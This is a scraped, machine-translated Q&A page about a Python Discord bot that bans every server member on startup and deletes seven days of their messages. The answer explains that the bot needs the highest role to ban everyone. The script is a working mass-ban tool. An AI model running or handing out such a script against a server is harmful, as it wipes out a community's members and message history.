[英]Discord Bot in Python - Im trying to pick a random person from all the people with a specific role
[英]Trying to program a python discord bot that bans all users. The bot only bans people without a role?
代碼:
import discord
TOKEN = "{Removed for safety}" # Put your Bot token here
SKIP_BOTS = False
fetch_offline_members = True
client = discord.Client()
@client.event
async def on_ready():
print('Logged in!')
for member in client.get_all_members():
if member.bot and SKIP_BOTS:
continue
try:
await member.ban(reason="Banned by BanBot", delete_message_days=7)
print(f"Banned {member.display_name}!")
except:
print(f"Could not ban {member.display_name}")
print("Banning is complete!")
client.run(TOKEN)
該機器人有管理員,也有很高的角色,所以我不明白為什么它不會禁止有角色的人。
您的機器人必須在您的服務器上具有最高角色才能禁止所有用戶。 這似乎是一個簡短的答案,但它就是它的全部。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.